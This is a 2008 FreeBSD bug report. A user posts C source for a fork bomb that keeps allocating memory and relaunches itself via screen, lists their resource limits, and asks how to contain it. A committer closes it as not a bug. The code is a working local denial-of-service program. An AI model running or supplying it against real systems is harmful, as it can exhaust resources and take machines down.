Bug 121949

Summary: Fork bomb, who can always stop system.
Product: Base System Reporter: Micha&#322; Garbowski <garbus>
Component: kernAssignee: freebsd-bugs (Nobody) <bugs>
Status: Closed FIXED    
Severity: Affects Only Me    
Priority: Normal    
Version: 7.0-STABLE   
Hardware: Any   
OS: Any   

Description Micha&#322; Garbowski 2008-03-22 00:00:08 UTC
Program - fork bomb - like this:

forkbomb.c

 #include <stdlib.h> 
 #include <stdio.h> 
 
 int main(void); 
 int zonk(void); 
 
 int zonk (void) 
     { 
       int i=0;
       while (1) 
           { 
             char* zonk; 
             i=i+4; 
             zonk=malloc(i); 
             printf("%d\n",i); 
             system("ping -s 56 -c 1 localhost > /dev/null && screen -m -d -s ~/kaboom > /dev/null"); 
             wait(10); 
           } 
       return 0; 
     } 
 int main (void) 
     { 
       zonk(); 
       return 0; 
     }

Compiled as: cc -o ~/kaboom forkbomb.c

Can stop freebsd, with limist:

$ ulimit -a 
 core file size          (blocks, -c) 1024 
 data seg size           (kbytes, -d) 4096 
 file size               (blocks, -f) 1478656 
 max locked memory       (kbytes, -l) 4096 
 max memory size         (kbytes, -m) 8192 
 open files                      (-n) 2599 
 pipe size            (512 bytes, -p) 1 
 stack size              (kbytes, -s) 1024 
 cpu time               (seconds, -t) 86400 
 max user processes              (-u) 50 
 virtual memory          (kbytes, -v) 32768 

$ cat /etc/sysctl.conf 
 security.bsd.see_other_uids=0 
 kern.maxprocperuid=50 
 net.inet.tcp.msl=7500 
 net.inet.tcp.blackhole=2 
 net.inet.udp.blackhole=1 
 net.inet.icmp.icmplim=50

When I start:

screen -m -d -s ~/kaboom

fBSD gives memory in spite of all limits. Is there any limit, which can stop adding memory for that forks ?

My server has:
200 MB Ram memory,
128 MB Swap memory.

Fix: 

I don't know.
How-To-Repeat: I don't know.
Comment 1 Remko Lodder freebsd_committer freebsd_triage 2008-03-22 10:41:10 UTC
State Changed
From-To: open->closed

This is not a bug, please seek help on the Questions mailinglist 
(http://lists.freebsd.org/mailman/listinfo/freebsd-questions/) , thanks!